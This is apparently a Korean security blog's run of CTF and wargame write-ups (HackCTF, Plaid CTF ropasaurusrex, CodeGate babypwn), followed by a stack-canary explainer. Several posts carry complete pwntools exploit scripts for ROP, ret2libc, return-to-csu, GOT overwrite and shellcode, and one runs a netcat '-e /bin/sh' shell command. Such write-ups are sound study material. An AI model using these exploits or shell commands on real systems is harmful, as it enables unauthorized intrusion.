H문제 파일을 보면 32비트 파일임을  확인할 수 있고, 보호기법을 확인하면 canary와 nx가 적용되어 있음을 확인할 수 있다.

파일을 실행시키면 노트 추가, 삭제, 출력 기능이 있는 것을 확인할 수 있다.

아이다로 사용된 함수들을 보면 다음과 같다. 

main 함수
add_note 함수
del_note 함수
print_note 함수
magic 함수

일단 system 함수로 flag를 출력하는 magic 함수를 호출하는것이 목적인거 같다. 

main 함수에서 사용자의 입력에 맞게 함수를 실행시켜 준다.

add_note 함수에서는 notelist 라는 전역변수 배열에 값이 있는지 확인하고, 없으면 8만큼 동적할당을 해준다. 그리고 notelist의 각 요소에 순서대로 입력한 크기만큼 동적할당을 해준다.

del_note 함수에서는 추가한 note를 삭제하면서 free를 해주고 있다. free할때는 먼저 배열의 요소에 할당한 메모리를, 그리고 그 배열 공간을 해제해준다.

print_note 함수에서 인덱스를 입력받고, 그 인덱스에 해당하는 note를 출력한다. 

del_note함수에서 free를 한 후 할당했던 메모리 공간을 초기화하지 않아서 UAF 취약점이 발생한다. 

add_note 함수에서 8을 동적할당해 줄 때 print_note_content 라는 함수 포인터를 할당하는 것을 확인할 수 있다. 

add_note 함수를 호출 하여 값을 입력한 후 bp를 잡고 메모리 영역을 확인해보면 다음과 같다. 

notelist 배열에 저장되어있는 주소값에  입력값이 저장된 주소를 갖고있고, 그 주소에 접근하면 입력된 값이 저장되어 있는 것을 확인할 수 있다. 그러나 free 이후에도 입력값을 저장하는 주소에 대한 값은 초기화되지 않는다.

따라서 notelist의 0x0966f160 자리에 magic함수 주소를 넣으면 magic 함수를 실행시킬 수 있다. 

free를 하면 함수포인터를 저장하기 위한 공간인 8바이트와 사용자가 입력한 크기가 해제되기 때문에 add_note를 두 번 호출한 후 만들어진 두 공간을 모두 해제하고, 8바이트를 할당하면 함수 포인터가 저장된 공간에 사용자 입력값이 들어가므로 입력값으로 magic 함수의 주소를 넣어 해당 함수를 실행시킬수 있다. 

이 과정을 익스 코드로 작성하면 다음과 같다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

file 명령어로 문제 바이너리를 확인하면 32비트 파일이고, checksec명령으로 보호기법을 확인하면 nx 보호기법만 적용되어 있는 것을 확인할 수 있다.

파일을 실행하면 두개의 주소값을 출력해주고, 두 번 입력받는 것을 확인할 수 있다.

gdb로 main 함수를 확인하면 다음과 같다.

아이다 헥스레이 기능으로 main 함수를 보면 다음과 같다.

프로그램을 실행했을 때 출력해 주는 주소값중 첫번째는 /bin/sh 문자열의 주소이고, 두번째는 system 함수의 주소값인것 같다. 

gets()함수에서 bof가 발생한다.

그러나 다음과 같이 출력하는 binsh 주소에 접근해보면 /bin/sh 문자열이 없는 것을 확인할 수 있다.

따라서 gets 함수를 이용하여 binsh 주소에 /bin/sh 문자열을 써 넣어야 한다. 

익스 과정을 생각해보면 파일에서 출력해주는 두 주소값을 저장하고, fgets()로 입력받는 부분은 더미값을 넣어 넘긴다.

gets로 입력받는 부분에서 bof를 발생시켜 binsh에 gets 함수로 /bin/sh문자열을 써 넣고 system 함수를 binsh주소를 인자로 넣어 실행한다. 작성한 익스 코드는 다음과 같고, 실행하면 쉘을 딸 수 있다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
pr = 0x080483ad
gets = e.plt["gets"]

p.recvuntil(": ")
binsh = int(p.recv(10), 16)
sys = int(p.recv(10), 16)
print(hex(binsh))
print(hex(sys))

p.sendline("asd")
p.recvuntil("asd\n")

pay = "A"*136
pay += p32(gets)
pay += p32(pr)
pay += p32(binsh)
pay += p32(sys)
pay += "A"*4
pay += p32(binsh)

p.sendline(pay)
p.sendline("/bin/sh\x00")

p.interactive()

문제 바이너리를 file 명령으로 확인해보면 64bit 바이너리이고, checksec 명령으로 확인하면 nx 보호기법만 있는 것을 확인할 수 있다. 

아이다에서 main 함수를 확인하면 다음과 같다. 

동적할당으로 v3(16 바이트), v3+1(8바이트), v4(16 바이트), v4+1(8바이트) 에 값을 할당하고 있고, 변수 s에 두 번 입력을 받고, s의 값을 strcpy함수로 v3+1, v4+1에 s의 값을 복사하는데, s에 입력받을 수 있는 값이 매우 크기 때문에 bof 취약점이 발생한다. 

또한 다음과 같이 0x400826에서 선언된 함수에서 flag를 출력하고 있다.

첫 번째 fgets 함수에서 v4+1까지 더미값을 채우고 main 함수에서 exit 함수를 실행하고 있으니, exit 함수의 got를 넣고, 다음 fgets 함수에서 플래그를 출력하는 함수의 주소를 넣으면 exit함수의 got가 플래그 실행함수의 주소로 써져서 exit를 실행할때 플래그를 출력할 수 있다. 더미값은 v4까지 16+8+16 = 40 바이트를 채운다. 

익스코드를 작성하면 다음과 같고, 실행하면 플래그를 얻을 수 있다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3016)
e = ELF("./beginner_heap.bin")


pay = "A" * 40
pay += p64(e.got["exit"])

p.sendline(pay)

pay = p64(0x400826)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] UAF  (0) 2021.11.12
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

문제 바이너리를 file 명령어로 확인하면 64비트 실행 파일임을 확인할 수 있다.

적용된 보호기법을 확인하면 다음과 같다. 

gdb로 main 함수를 확인하면 다음과 같다. 

write 함수와 read함수를 호출하고 있다. main 함수를 ida 헥스레이 기능으로 확인하면 다음과 같다. 

read 함수에서 bof 취약점이 발생한다. 

문제 이름이 RTC이기 때문에 RTC공격 기법으로 이 문제를 풀이할 것이다. RTC는 Return To Csu 라는 의미로 __libc_csu_init() 함수의 일부 코드를 가젯으로 이용하는 기술이다. 이를 통해 최대 3개 인자를 갖는 함수를 호출할 수 있다. 

objdump -M intel -d 명령으로 __libc_csu_init()함수의 어셈 코드를 확인할 수 있다. 

이 함수에서 가젯으로 사용하는 부분은 0x4006ba~0x4006c4(이하 stage1)과 0x4006a0~0x4006a9(이하 stage2) 부분을 사용한다. stage1은 pop~ret 형태로 되어 있어 공격자가 원하는 값(인자)을 레지스터에 넣을 수 있고, stage2에서 stage1에서 구성된 값으로 최대 3개의 인자를 가지고 함수를 호출할 수 있다. stage1에서 r12 ~ r14 레지스터에 각 인자들이 저장되고, r15레지스터에 함수 포인터가 저장된다. stage1을 설정할 땐 rbx는 0으로 설정하는 것이 좋다. stage2에서 [r12+rbx*8]연산을 할 때 rbx가 0이면 주소 계산이 더 쉬워진다.

RTC에서는 호출하고자 하는 함수의 got을 사용한다. 또한 바이너리 내에서 호출하지 않는 함수를 직접 호출하고 싶다면 쓰기 권한이 있는 메모리 영역에 호출할 함수의 주소를 쓰고, 함수 주소가 쓰여진 주소를 사용하여 호출해야 한다. 

처음 RTC로 stage2가 실행된 후 0x4006b1 주소에서 rbx와 rbp를 비교하여 같지 않으면  stage2를 다시 실행하고, 같으면 jne코드를 통과하여 stage1을 실행하며 RTC를 이어 나갈 수 있다. 

jne 코드를 넘어가고 stage1pop~ret gadget이 실행하기 전 add rsp, 0x8로 스택이 한 칸씩 줄어든다는 점을 고려 해야 한다.

 

이제 RTC를 이용하여 문제 바이너리를 익스플로잇할 시나리오를 생각해보면 먼저 write함수의 got 주소를 leak하고, bss 영역에 /bin/sh문자열을 쓰고, write got 주소에 execve 함수 주소를 쓴다. execve 함수 주소는 처음에 leak한 write함수 got주소를 이용해 libc base 주소를 구하여 구할 수 있다. 그리고 bss를 인자로 넣어 write got을 실행하면 그 부분에 execve 함수 주소가 쓰여져 있어 쉘을 딸 수 있게 된다. 이 시나리오 대로 익스플로잇 코드를 작성하면 다음과 같다. 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./rtc")
libc = ELF("libc.so.6")

write_got = e.got["write"]
read_got = e.got["read"]
binsh = "/bin/sh\x00"
bss = e.bss()
s1 = 0x4006ba
s2 = 0x4006a0

p.recvuntil("?\n")

pay = "A" * 0x48
# leak write got
pay += p64(s1)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(8)
pay += p64(read_got)
pay += p64(1)
pay += p64(s2)

# write binsh
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(bss)
pay += p64(0)
pay += p64(s2)

# write execve
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(write_got)
pay += p64(0)
pay += p64(s2)

# execve("/bin/sh", 0, 0)
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(0)
pay += p64(0)
pay += p64(bss)
pay += p64(s2)

p.send(pay)

read = u64(p.recv(6).ljust(8, "\x00"))
print(hex(read))
lb = read - libc.symbols["read"]
execve = lb + libc.symbols["execve"]

pay = ""
pay += binsh
pay += p64(execve)

p.send(pay)
p.interactive()

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] UAF  (0) 2021.11.12
[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

file 명령으로 문제 바이너리를 확인하면 64비트 바이너리임을 확인할 수 있다.

 checksec 명령으로 적용된 보호기법을 확인해보면 NX 미티게이션이 걸려 있는 것을 확인할 수 있다.

아이다로 문제 바이너리를 확인하면 다음과 같다.

처음에 변수 s에 입력받고 있고, 입력받은 값을 atoi 함수를 이용하여 정수형으로 변환하여 v10에 저장하고 있다. 그리고 35번째줄의 if문에서 연산한 값과 비교하여 if문을 통과하면 gets 함수로 입력을 받고 있는데, 여기서 bof가 발생한다.

if문의 비교하는 값은 gdb를 이용하여 확인할 수 있다.

위 어셈 코드에서 main+237의 cmp문이 gets함수를 실행시키기 위한 if문의 비교하는 부분이다. 따라서 저 위치에 bp를 걸고 실행시킨 후 rax의 값을 확인하면 if문을 통과할 수 있는 값을 얻을 수 있다.

RAX에 들어있는 값이 0x960000이므로 10진수로 9830400을 입력하면 if문의 조건을 만족시켜 gets()함수를 실행시킬 수 있다.

gets() 함수로 bof를 발생시켜 쉘을 실행시키기 위해서는 서버에서 실행되는 바이너리의 puts()함수의 주소를 구하고, 문제에서 주어진 libc 파일로 puts()함수 오프셋을 구하여 libc base 주소를 구하고, libc 파일에서 구한 system 함수의 오프셋과 /bin/sh문자열의 오프셋을 이용하여 서버의 주소값을 구해 넣어주면 된다. 또 문제 설명에서 18.04 버전으로 테스트 하였다는 설명이 있었기에 payload에 ret 주소를 추가 시켜줘야 한다.

payload에서 사용되는 pop ret 가젯과 ret 주소는 다음과 같이 ROPgadget명령을 이용하여 구할 수 있다.

나머지 plt, got 주소와 offset들은 pwntools의 기능들을 이용하여 구할 수 있다.

 

작성한 익스 코드는 다음과 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3009)
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")

puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
sys_offset = libc.symbols['system']
main = e.symbols['main']
binsh = list(libc.search("/bin/sh"))[0]
pr = 0x000000000400883
ret = 0x000000000040056e

p.sendlineafter("~!\n", "9830400")

pay = "A"*26
pay += p64(pr)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(main)

p.sendlineafter("me\n", pay)

puts_addr = u64(p.recv(6) + b"\x00\x00")
libc_base = puts_addr - puts_offset
sys_addr = libc_base + sys_offset
binsh_addr = libc_base + binsh

pay = "A"*26
pay += p64(pr)
pay += p64(binsh_addr)
pay += p64(ret)
pay += p64(sys_addr)

p.sendlineafter("~!\n", "9830400")
p.sendlineafter("me\n", pay)

p.interactive()

익스코드를 실행하면 다음과 같이 플래그를 얻을 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28

file 명령어로 문제 파일을 확인하면 32비트 바이너리임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 확인하면 NX 보호기법만 적용되어 있는 것을 확인할 수 있다.

바이너리를 실행하면 입력을 받고, WIN을 출력해주는 것을 확인할 수 있다.

gdb로 함수 목록을 보면 main 함수도 없어서 당황했는데, ida로는 확인할 수 있었다.

main 함수를 보면 sub_80483F4() 함수를 호출하고, write 함수로 WIN을 출력하는 것을 확인할 수 있다.

sub_80483F4(); 함수를 확인하면 다음과 같다.

크기 136의 buf 변수를 선언하고 있고, read 함수에서 buf 변수에 입력을 받고 있다. 이때 0x100(256)크기 만큼 입력을 받고 있기 때문에 bof가 발생한다. 

 

rop 기법으로 system("/bin/sh")을 실행 시켜서 쉘을 실행 시켜야 할 것 같다. 

먼저 read 함수의 plt와 got, write 함수의 plt 주소를 찾아 read 함수의 got에 system 함수의 주소를 덮어야 한다. 사용할 함수들의 plt와 got는 pwntools의 plt와 got 기능을 이용하여 구할 수 있다.

그리고 read 함수와 system 함수의 offset은 다음과 같이 구할 수 있다.

read 함수와 write 함수는 인자가 3개이기 때문에 계속 호출하기 위한 pop pop pop ret gadget은 objdump -D ./ropasaurusrex | grep -B3 ret 명령으로 구할 수 있다.  

system 함수의 인자로 들어갈 /bin/sh 문자열이 저장될 공간은 readelf -S 명령으로 헤더에서 저장할 수 있는 공간을 찾을 수 있다.

이 바이너리의 경우 .dynamic에 /bin/sh 문자열을 저장하면 될 것 같다.

위에서 구한 정보들로 rop 익스 코드를 작성하면 다음과 같다.

from pwn import *

p = process("./ropasaurusrex")
e = ELF("./ropasaurusrex")

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
sys_offset = 0x9ae70
dy = 0x08049530
pppr = 0x080484b6
binsh = "/bin/sh\x00"

pay = "A" * 140
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(dy)
pay += p32(len(binsh))

pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)

pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(read_got)
pay += p32(len(binsh))

pay += p32(read_plt)
pay += "B" * 4
pay += p32(dy)

p.send(pay)
p.send(binsh)

read = p.recv(4)
sys = u32(read) - sys_offset

p.sendline(p32(sys))
p.interactive()

익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

스택 카나리는 함수의 프롤로그에서 스택 버퍼와 반환주소 사이에 임의의 값을 삽입하여 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법이다. 만약 카나리값의 변조가 확인되면 프로세스는 강제로 종료된다.

 

카나리 보호기법을 확인하기 위한 코드는 다음과 같다.

#include <stdio.h>

int main()
{
	char buf[8];
	read(0, buf, 32);
	return 0;
}

컴파일 할때 기본적으로 카나리 보호기법이 적용되며, -fno-stack-protector 옵션을 적용해야 카나리 없이 컴파일을 할 수 있다.

카나리 보호기법이 적용된 바이너리와 적용되지 않은 바이너리에 긴 입력값을 주었을 때의 결과는 다음과 같다.

gdb로 main 함수를 비교하면 다음과 같다.

오른쪽이 카나리 보호기법을 적용한 바이너리의 main 함수이다. 

프롤로그 부분에서 다음의 코드가 추가되었고,

   0x000000000040059e <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004005a7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005ab <+21>:	xor    eax,eax

에필로그 부분에서 다음의 코드가 추가되었다.

   0x00000000004005cd <+55>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004005d1 <+59>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004005da <+68>:	je     0x4005e1 <main+75>
   0x00000000004005dc <+70>:	call   0x400460 <__stack_chk_fail@plt>

추가된 프롤로그(main+8)에 bp를 걸고 실행한 후 코드를 한 줄 실행하면 rax에 첫바이트가 널바이트인 8바이트 데이터가 적용되어 있는 것을 확인할 수 있다.

생성된 8바이트 데이터는 main+17줄의 코드에서 rbp-0x8의 위치에 저장된다.

이후 main+55에 bp를 걸고 실행하여 정상적인 입력값을 주게 되면 에필로그 부분에서 rbp-0x8에 저장된 카나리 값을 rcx로 옮기고 fs:0x28에 저장된 카나리와 xor 연산을 한다. 두 값이 동일하면 0이 나오므로 main+75로 점프하면서 프로그램이 정상 종료된다.

 

만약 긴 입력값이 들어가 카나리 값이 있는 rbp-0x8의 데이터가 변조되면 xor 연산에서 0이 아닌값이 나오므로 main+68의 __stack_chk_fail함수를 실행하며 프로세스가 강제로 종료된다.

 

문제 바이너리를 file 명령어로 확인하면 리눅스 32비트 바이너리임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 확인하면 canary와 nx가 적용되어 있는 것을 확인할 수 있다.

ida에서 헥스레이로 main 함수를 보면 다음과 같다.

8181번 포트로 소켓통신을 하는것을 확인할 수 있다.

문제 바이너리를 실행하고 nc로 8181번 포트에 접속해보면 다음과 같다.

main 함수에서 호출하고 있는 sub_8048B87() 함수를 확인하면 다음과 같다.

이 함수에서도 3개의 함수를 호출하고 있다. 이 중 sub_8048A71 함수를 확인하면 다음과 같다.

 이 함수에서 8181번 포트에 접속했을때 출력해주던 메뉴를 출력하는 것을 확인할 수 있고, 40크기의 v2를 선언하고 있다. 그리고 sub_8048907() 함수를 v2 와 100을 인자로 넣어서 호출하고 있다. 해당 함수를 확인하면 다음과 같다.

인자로 넣은 v2와 100을 a1, a2로 하여 recv 함수로 반환하고 있다.

recv함수는 소켓으로부터 데이터를 수신하며 인자는 순서대로 연결된 소켓 디스크립터, 수신한 데이터를 저장할 위치, 수신할 크기, flag 이다. flag 가 0이면 일반 데이터를 수신한다.

위 코드의 경우 v2(a1)의 크기는 40인데 수신하는 데이터 크기는 100이므로 bof가 발생한다.

 

먼저 canary 보호기법이 적용되어 있기 때문에 canary leak을 하고, nx보호기법이 적용되어 있기 때문에 ROP를 통해 쉘을 딸 수 있을 것 같다. 

canary값은 0x00으로 끝나기 때문에 v2의 크기에서 1을 더한 41바이트를 덮어서 canary값을 가져온후 0x00을 더해준다. 이를 수행하는 코드는 다음과 같다.

p.sendlineafter('> ', '1')
p.sendafter(': ', 'A' * 41)
p.recvuntil(pay)
cnry = u32('\x00' + p.recvn(3))

이제 ROP 공격을 하기 위해 가젯을 찾아야 하는데 recv함수를 이용하려면 인자를 4개를 넣어줘야하기 때문에 pop이 4개있는 가젯을 찾으면 다음과 같다.

또한 gdb의 info func 명령으로 함수 목록을 확인해보면 다음과 같이 system 함수가 있는것을 확인할 수 있다.

이 시스템 함수를 사용하여 명령어를 실행시킬 수 있다. 실행시킬 명령어는 서버에서 nc 서버를 열어 -e 옵션으로 /bin/sh를 실행시킬 것이다.

 

익스 코드는 다음과 같다.

from pwn import *

elf = ELF("./babypwn")
ppppr = 0x08048eec
recv_plt = elf.plt["recv"]
sys_plt = elf.plt["system"]
bss = elf.bss()
sh = "nc -lvp 3000 -e /bin/sh"

p = remote("localhost", 8181)

# Canary Leak
pay = 'A' * 41

p.sendlineafter('> ', '1')
p.sendafter(': ', 'A' * 41)
p.recvuntil(pay)
cnry = u32('\x00' + p.recvn(3))
print(hex(cnry))
p.close()

# ROP
p = remote("localhost", 8181)

p.sendlineafter("> ", "1")

pay = "A" * 40
pay += p32(cnry)
pay += "A" * 12
pay += p32(recv_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(bss)
pay += p32(len(sh))
pay += p32(0)

pay += p32(sys_plt)
pay += "A" * 4
pay += p32(bss)

p.sendlineafter(": ", pay)
p.sendlineafter("> ", "3")

sleep(1)
p.sendline(sh)

코드를 실행시키고 nc로 접속하면 다음과 같이 쉘이 따진것을 확인할 수 있다.

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

file 명령어로 문제 바이너리를 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

또한 statically linked 형식의 바이너리임을 확인할 수 있다. 따라서 함수 목록을 보면 매우 많은 함수들이 있는것도 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 보면 nx가 적용되어 있는 것을 확인할 수 있다.

gdb로 main 함수를 확인하면 다음과 같다.

main 함수에서 look_at_me 라는 함수를 실행하고 있다. IDA 헥스레이로 main 함수와 look_at_me  함수를 확인하면 다음과 같다.

main 함수에서 look_at_me() 함수를 호출하고, look_at_me() 함수의 gets 함수에서 bof 취약점이 발생한다. 

nx 보호기법이 적용되어 있어서 쉘 코드 실행 권한도 없고, system 함수를 호출하는 부분도 없었다.

그러나 다음과 같이 mprotect 함수가 있는것을 확인할 수 있었다.

mprotect 함수는 메모리에 대한 접근을 제어하는 함수로 인자로 접근제어할 주소, 주소 기준으로 제어할 길이, 접근 제어 권한 3개의 인자를 받는다. mprotect 함수를 통해 접근제어되어 있는 메모리에도 권한을 부여할 수 있어서 nx 보호기법이 우회가 가능하다.

 

따라서 문제를 해결하기 위해  ROP기법을  이용하여 gets() 함수를 호출하여 .bss 영역에 쉘코드를 넣고 mprotect() 함수를 호출하여 .bss 영역에 실행권한을 주면 된다.

작성한 익스코드는 다음과 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3017)
e = ELF("./lookatme")

bss = e.bss()
bss000 = 0x80ea000
pr = 0x080bb0b8
pppr = 0x080bacfe
gets_addr = e.symbols['gets']
mprotect_addr = e.symbols['mprotect']
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

pay = "A" * 28
pay += p32(gets_addr)
pay += p32(pr)
pay += p32(bss)

pay += p32(mprotect_addr)
pay += p32(pppr)
pay += p32(bss000)
pay += p32(10000)
pay += p32(7)
pay += p32(bss)

p.sendline(pay)
p.sendline(shell)
p.interactive()

mprotect 첫번째 인자로 000 으로 끝나는 주소를 사용하는 것은 mprotect 함수의 첫번째 인자 주소는 0x1000의 배수여야 하기 때문이다.

익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27

file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법들을 확인하면 다음과 같다.

바이너리를 실행시키면 다음과 같이 패스코드를 입력하라고 한다.

 

아이다 헥스레이 기능을 활용하여 main 함수를 확인하면 다음과 같다.

passcode를 입력 받고, 입력받은 값을 check_passcode 라는 함수에 넣어 함수의 리턴값과 hashcode값과 같으면 core 함수를 실행한다.

먼저 check_passcode 함수를 확인하면 다음과 같다.

check_passcode 함수는 매개변수 a1의 주소에 있는 값을 4바이트씩 5번 반복하면서 v2에 누적하고 v2를 반환한다. 

hashcode의 값은 다음과 같다.

따라서 main 함수의 조건문을 만족시키려면 0xc0d9b0a7 / 5 를 하면 0x2691f021가 나오고 나머지로 0x2가 나오기 때문에 0x2691f021를 4번 입력하고, 5번째는 0x2691f023을 입력하면 첫번째 조건문을 만족시킬 수 있다.

 

core 함수를 확인하면 다음과 같다.

dlsym()함수로 printf의 주소를 가져와 출력하고 read 함수를 리턴한다. buf의 크기는 0x3e 이지만 0x64만큼 읽기 때문에 bof가 발생하며 printf 주소를 활용하여 rtl 공격을 시도할 수 있다.

 

서버에서 익스를 성공하려면 서버의 libc 파일을 참조해야 하기 때문에 문제에서 제공해준 서버의 libc.so.6 파일을 이용하여 libc base 주소를 구하고, system 함수와 "/bin/sh"의 offset을 구하여 rtl 공격을 통해 쉘을 딸 수 있다.

payload는 0x3e + 4 만큼 채우고 system()함수의 주소를 넣고 4바이트 채우고 인자로 들어갈 "/bin/sh"문자열의 주소를 넣으면 된다. 따라서 다음과 같이 익스코드를 작성하여 실행하면 플래그를 얻을 수 있다.

from pwn import *

# p = process('./rtlcore')
p = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('./libc.so.6')

printf_offset = libc.symbols['printf']
sys_offset = libc.symbols['system']
binsh_offset = list(libc.search('/bin/sh'))[0]

pay = p32(0x2691f021) * 4
pay += p32(0x2691f023)

p.sendline(pay)

p.recvuntil('0x')
printf_addr = int(p.recv(8), 16)

libcbase = printf_addr - printf_offset
sys_addr = libcbase + sys_offset
binsh_addr = libcbase + binsh_offset

pay = ''
pay += 'A' * 66
pay += p32(sys_addr)
pay += 'BBBB'
pay += p32(binsh_addr)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24

+ Recent posts